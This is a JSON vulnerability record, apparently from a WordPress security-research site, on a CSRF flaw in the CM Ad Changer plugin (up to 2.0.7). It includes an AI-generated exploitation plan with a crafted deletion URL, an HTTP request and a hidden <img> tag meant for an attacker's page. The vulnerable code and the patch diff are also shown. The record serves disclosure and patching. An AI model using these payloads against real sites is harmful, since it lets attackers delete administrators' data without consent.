[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fZ1_Kdejtsp9iuUD0hzBSp-gmdmLUBISfBBPjJtYafos":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-9236","cm-ad-changer-cross-site-request-forgery-to-campaign-deletion-via-campaign-management","CM Ad Changer \u003C= 2.0.7 - Cross-Site Request Forgery to Campaign Deletion via Campaign Management","The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","cm-ad-changer",null,"\u003C=2.0.7","2.0.8","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-05-26 16:01:12","2026-05-27 04:29:03",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa335c917-3fff-4079-bb38-64cd665c5c38?source=api-prod",1,[22,23,24,25,26],"backend\u002Fcm-ad-changer-backend.php","backend\u002Fviews\u002Fadmin_campaigns.php","cm-ad-changer.php","package\u002Fcminds-plugin-config.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-9236\n\n## 1. Vulnerability Summary\nThe **CM Ad Changer** plugin (versions \u003C= 2.0.7) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists because the plugin fails to perform nonce validation when processing campaign deletion requests via the `GET` method. While the plugin implements `check_admin_referer()` for `POST` requests (used for updating campaign data), the logic branch handling `GET`-based actions (like deletion) lacks any security tokens. This allows an unauthenticated attacker to trick a logged-in administrator into permanently deleting advertising campaigns by visiting a malicious link.\n\n## 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin.php`\n*   **Query Parameters**: \n    *   `page`: `cmac_campaigns`\n    *   `action`: `delete`\n    *   `campaign_id`: The integer ID of the campaign to be deleted.\n*   **Authentication Required**: The victim must be a logged-in administrator with the `manage_options` capability.\n*   **Preconditions**: At least one advertising campaign must exist in the system. The attacker needs to know (or guess\u002Fbrute-force) the `campaign_id`.\n\n## 3. Code Flow\n1.  **Entry Point**: When an administrator accesses the Campaigns page, the hook registered in `CMAdChangerBackend::cmac_admin_menu()` (backend\u002Fcm-ad-changer-backend.php) triggers.\n2.  **Hook Registration**: \n    ```php\n    $campaigns_subpage = add_submenu_page( CMAC_MENU_OPTION, 'Campaigns', 'Campaigns', 'manage_options', 'cmac_campaigns', ... );\n    add_action( $campaigns_subpage, array( self::$calledClassName, 'cmac_campaigns_action' ), 0 );\n    ```\n3.  **Vulnerable Function**: The `cmac_campaigns_action()` function is called.\n4.  **Security Gap**:\n    *   **Lines 134-135**: The code checks for `$_POST` and validates a nonce for updates:\n        ```php\n        if ( !empty( $_POST ) && check_admin_referer( 'cmac-update-campaign-data' ) ) { ... }\n        ```\n    *   **Lines 159-160**: If `$_POST` is empty (a `GET` request), the `else` block executes:\n        ```php\n        } else {\n            if ( isset( $_GET[ 'action' ] ) ) {\n                if ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) {\n                    switch ( $_GET[ 'action' ] ) {\n                        \u002F\u002F ...\n                        case 'delete':\n                            CMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );\n                            self::$success = 'Campaign was removed from database!';\n                            break;\n                    }\n                }\n            }\n        }\n        ```\n    *   **Result**: The `delete` case calls `CMAC_Data::cmac_remove_campaign()` without any nonce verification.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required** for the deletion action. The vulnerability stems from the fact that the `GET` branch of the code logic completely omits the `check_admin_referer()` or `wp_verify_nonce()` call found in the `POST` branch. An attacker can perform the deletion as long as the victim's session is active.\n\n## 5. Exploitation Strategy\nThe goal is to trigger a `GET` request to the deletion URL via the administrator's browser.\n\n### Step-by-Step Plan:\n1.  **Identify Target**: Determine the `campaign_id` of a campaign to delete. (In a PoC, we will create one first).\n2.  **Craft Payload**: Construct the URL:\n    `http:\u002F\u002FTARGET_WP\u002Fwp-admin\u002Fadmin.php?page=cmac_campaigns&action=delete&campaign_id=[ID]`\n3.  **Execute Request**: Use the `http_request` tool to simulate the administrator's browser making this request.\n\n### HTTP Request Payload:\n```http\nGET \u002Fwp-admin\u002Fadmin.php?page=cmac_campaigns&action=delete&campaign_id=1 HTTP\u002F1.1\nHost: localhost:8080\nCookie: [ADMIN_COOKIES]\n```\n\n## 6. Test Data Setup\nTo demonstrate the vulnerability:\n1.  **Install Plugin**: Ensure CM Ad Changer v2.0.7 is active.\n2.  **Create Campaign**: Use WP-CLI to insert a dummy campaign directly into the database (as the plugin's data management is handled via custom tables):\n    ```bash\n    wp db query \"INSERT INTO wp_cmac_campaigns (title, status) VALUES ('Vulnerable Campaign', 1);\"\n    ```\n3.  **Verify ID**: Get the ID of the newly created campaign:\n    ```bash\n    wp db query \"SELECT campaign_id FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';\"\n    ```\n\n## 7. Expected Results\n*   **Response**: The server should return an HTTP 200 OK.\n*   **UI Feedback**: Upon rendering the page, the plugin will set `self::$success = 'Campaign was removed from database!'`, which typically displays an admin notice.\n*   **Database State**: The record for the targeted `campaign_id` should be removed from the `wp_cmac_campaigns` table.\n\n## 8. Verification Steps\nAfter the HTTP request is sent, verify the deletion using WP-CLI:\n```bash\n# Attempt to find the campaign\nwp db query \"SELECT * FROM wp_cmac_campaigns WHERE title='Vulnerable Campaign';\"\n\n# Expected Output: Empty result set.\n```\n\n## 9. Alternative Approaches\nIf the administrator is not currently on an admin page, a CSRF can be staged on an external site using an `\u003Cimg>` tag or a hidden `\u003Ciframe>` to trigger the `GET` request automatically when the admin views the attacker's page:\n```html\n\u003Cimg src=\"http:\u002F\u002FTARGET_WP\u002Fwp-admin\u002Fadmin.php?page=cmac_campaigns&action=delete&campaign_id=1\" style=\"display:none;\">\n```\nSince the `SameSite` cookie attribute for WordPress session cookies is typically `Lax`, a cross-site `GET` request via a link or a top-level navigation will successfully carry the credentials required to authorize the deletion.","The CM Ad Changer plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.0.7 because it fails to perform nonce validation when handling campaign deletion via GET requests. This allows unauthenticated attackers to trick a logged-in administrator into permanently deleting advertising campaigns by having them visit a crafted URL.","\u002F* backend\u002Fcm-ad-changer-backend.php:159 *\u002F\n\t\t} else {\n\t\t\tif ( isset( $_GET[ 'action' ] ) ) {\n\t\t\t\tif ( isset( $_GET[ 'campaign_id' ] ) && is_numeric( $_GET[ 'campaign_id' ] ) ) {\n\t\t\t\t\tswitch ( $_GET[ 'action' ] ) {\n                        \u002F\u002F ... (truncated)\n\t\t\t\t\t\tcase 'delete':\n\t\t\t\t\t\t\tCMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );\n\t\t\t\t\t\t\tself::$success = 'Campaign was removed from database!';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n---\n\n\u002F* backend\u002Fviews\u002Fadmin_campaigns.php:50 *\u002F\n\t\t\t\t\t\t\t\u003Ctd class=\"actions\">\n\t\t\t\t\t\t\t\t\u003Ca href=\"\u003C?php echo get_bloginfo( 'wpurl' ) ?>\u002Fwp-admin\u002Fadmin.php?page=\u003C?php echo $pageName ?>&action=edit&campaign_id=\u003C?php echo $campaign->campaign_id ?>\">\u003Cimg src=\"\u003C?php echo self::$cssPath . 'images\u002Fedit.png' ?>\" \u002F>\u003C\u002Fa>\n\t\t\t\t\t\t\t\t\u003Ca href=\"\u003C?php echo get_bloginfo( 'wpurl' ) ?>\u002Fwp-admin\u002Fadmin.php?page=\u003C?php echo $pageName ?>&action=delete&campaign_id=\u003C?php echo $campaign->campaign_id ?>\" class=\"delete_campaign_link\">\u003Cimg src=\"\u003C?php echo self::$cssPath . 'images\u002Ftrash.png' ?>\" \u002F>\u003C\u002Fa>\n\t\t\t\t\t\t\t\u003C\u002Ftd>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.7\u002Fbackend\u002Fcm-ad-changer-backend.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.8\u002Fbackend\u002Fcm-ad-changer-backend.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.7\u002Fbackend\u002Fcm-ad-changer-backend.php\t2025-06-12 08:09:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.8\u002Fbackend\u002Fcm-ad-changer-backend.php\t2026-05-22 14:39:48.000000000 +0000\n@@ -174,7 +174,14 @@\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\tbreak;\n \t\t\t\t\t\tcase 'delete':\n-\t\t\t\t\t\t\tCMAC_Data::cmac_remove_campaign( $_GET[ 'campaign_id' ] );\n+\t\t\t\t\t\t\t$campaign_id = isset($_GET['campaign_id']) ? absint($_GET['campaign_id']) : 0;\n+\t\t\t\t\t\t\tif ( !isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'delete_campaign_' . $campaign_id) ) {\n+\t\t\t\t\t\t\t\twp_die( 'Security check failed.' );\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t\tif ( !current_user_can('manage_options') ) {\n+\t\t\t\t\t\t\t\twp_die( 'You do not have permission to perform this action.' );\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t\tCMAC_Data::cmac_remove_campaign( $campaign_id );\n \t\t\t\t\t\t\tself::$success = 'Campaign was removed from database!';\n \t\t\t\t\t\t\tbreak;\n \t\t\t\t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.7\u002Fbackend\u002Fviews\u002Fadmin_campaigns.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.8\u002Fbackend\u002Fviews\u002Fadmin_campaigns.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.7\u002Fbackend\u002Fviews\u002Fadmin_campaigns.php\t2025-06-12 08:09:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcm-ad-changer\u002F2.0.8\u002Fbackend\u002Fviews\u002Fadmin_campaigns.php\t2026-05-22 14:39:48.000000000 +0000\n@@ -47,7 +47,14 @@\n \t\t\t\t\t\t\t\u003Ctd>\u003C?php echo (($campaign->status == '1') ? 'Active' : 'Inactive') ?>\u003C\u002Ftd>\n \t\t\t\t\t\t\t\u003Ctd class=\"actions\">\n \t\t\t\t\t\t\t\t\u003Ca href=\"\u003C?php echo get_bloginfo( 'wpurl' ) ?>\u002Fwp-admin\u002Fadmin.php?page=\u003C?php echo $pageName ?>&action=edit&campaign_id=\u003C?php echo $campaign->campaign_id ?>\">\u003Cimg src=\"\u003C?php echo self::$cssPath . 'images\u002Fedit.png' ?>\" \u002F>\u003C\u002Fa>\n-\t\t\t\t\t\t\t\t\u003Ca href=\"\u003C?php echo get_bloginfo( 'wpurl' ) ?>\u002Fwp-admin\u002Fadmin.php?page=\u003C?php echo $pageName ?>&action=delete&campaign_id=\u003C?php echo $campaign->campaign_id ?>\" class=\"delete_campaign_link\">\u003Cimg src=\"\u003C?php echo self::$cssPath . 'images\u002Ftrash.png' ?>\" \u002F>\u003C\u002Fa>\n+\t\t\t\t\t\t\t\t\u003C?php\n+\t\t\t\t\t\t\t\t$delete_url = wp_nonce_url(\n+\t\t\t\t\t\t\t\t\tget_bloginfo('wpurl') . '\u002Fwp-admin\u002Fadmin.php?page=' . $pageName .\n+\t\t\t\t\t\t\t\t\t'&action=delete&campaign_id=' . $campaign->campaign_id,\n+\t\t\t\t\t\t\t\t\t'delete_campaign_' . $campaign->campaign_id\n+\t\t\t\t\t\t\t\t);\n+\t\t\t\t\t\t\t\t?>\n+\t\t\t\t\t\t\t\t\u003Ca href=\"\u003C?php echo esc_url($delete_url); ?>\" class=\"delete_campaign_link\">\u003Cimg src=\"\u003C?php echo self::$cssPath . 'images\u002Ftrash.png' ?>\" \u002F>\u003C\u002Fa>\n \t\t\t\t\t\t\t\u003C\u002Ftd>\n \t\t\t\t\t\t\u003C\u002Ftr>\n \t\t\t\t\t\u003C?php endforeach; ?>","To exploit this CSRF vulnerability, an attacker targets the cmac_campaigns_action handler in the backend. Since the plugin fails to check for a nonce when processing GET requests for the 'delete' action, the attacker crafts a malicious link targeting \u002Fwp-admin\u002Fadmin.php?page=cmac_campaigns&action=delete&campaign_id=[ID]. The attacker then tricks a logged-in administrator into visiting this URL (e.g., via a phishing link or an embedded \u003Cimg> tag on an external site). If the administrator is authenticated and has the 'manage_options' capability, the request will execute, causing the specified campaign to be permanently deleted from the database.","gemini-3-flash-preview","2026-06-04 19:19:32","2026-06-04 19:20:17",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","2.0.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcm-ad-changer\u002Ftags\u002F2.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcm-ad-changer.2.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcm-ad-changer\u002Ftags\u002F2.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcm-ad-changer.2.0.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcm-ad-changer\u002Ftags"]